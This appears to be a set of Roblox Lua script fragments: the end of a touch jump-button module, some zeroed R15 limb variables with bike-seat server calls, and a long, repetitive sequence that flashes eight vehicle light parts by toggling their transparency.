UDim2.new(1, -(jumpButtonSize*1.5-10), 1, -jumpButtonSize * 1.75)
local touchObject = nil
JumpButton.InputBegan:connect(function(inputObject)
--A touch that starts elsewhere on the screen will be sent to a frame's InputBegan event
--if it moves over the frame. So we check that this is actually a new touch (inputObject.UserInputState ~= Enum.UserInputState.Begin)
if touchObject or inputObject.UserInputType ~= Enum.UserInputType.Touch
or inputObject.UserInputState ~= Enum.UserInputState.Begin then
return
end
touchObject = inputObject
JumpButton.ImageRectOffset = Vector2.new(146, 146)
MasterControl:SetIsJumping(true)
end)
OnInputEnded = function()
touchObject = nil
MasterControl:SetIsJumping(false)
JumpButton.ImageRectOffset = Vector2.new(1, 146)
end
JumpButton.InputEnded:connect(function(inputObject)
if inputObject == touchObject then
OnInputEnded()
end
end)
GuiService.MenuOpened:connect(function()
if touchObject then
OnInputEnded()
end
end)
if not CharacterAddedConnection then
setupCharacterAddedFunction()
end
JumpButton.Parent = parentFrame
end
return TouchJump
|
--Dont touch
|
ZR15RightLegPointZero = 0
XR15RightLegPointZero = 0
YR15RightLegPointZero = 0
R15RightKneePointZero = 0
ZR15RightArmPointZero = 0
YR15RightArmPointZero = 0
XR15RightArmPointZero = 0
R15RightElbowPointZero = 0
ZR15LeftLegPointZero = 0
XR15LeftLegPointZero = 0
YR15LeftLegPointZero = 0
R15LeftKneePointZero = 0
ZR15LeftArmPointZero = 0
YR15LeftArmPointZero = 0
XR15LeftArmPointZero = 0
R15LeftElbowPointZero = 0
ZR15LowerTorsoPointZero = 0
XR15LowerTorsoPointZero = 0
YR15LowerTorsoPointZero = 0
ZR15UpperTorsoPointZero = 0
bike.DriveSeat.ChildRemoved:connect(function(child)
handler:FireServer("RemovePlayer",C,child)
end)
handler:FireServer("CreatePlayer",C)
|
--New pattern
|
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 0
wait(0.05)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 1
wait(0.05)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 0
wait(0.05)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 1
wait(0.05)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 1
wait(0.02)
--New pattern
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
--New Pattern
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
MainVeh.TDI1.Transparency = 1
MainVeh.TDI2.Transparency = 1
MainVeh.TDI3.Transparency = 1
MainVeh.TDI4.Transparency = 1
MainVeh.TDI5.Transparency = 0
MainVeh.TDI6.Transparency = 0
MainVeh.TDI7.Transparency = 0
MainVeh.TDI8.Transparency = 0
wait(0.02)
MainVeh.TDI1.Transparency = 0
MainVeh.TDI2.Transparency = 0
MainVeh.TDI3.Transparency = 0
MainVeh.TDI4.Transparency = 0
MainVeh.TDI5.Transparency = 1
MainVeh.TDI6.Transparency = 1
MainVeh.TDI7.Transparency = 1
MainVeh.TDI8.Transparency = 1
wait(0.02)
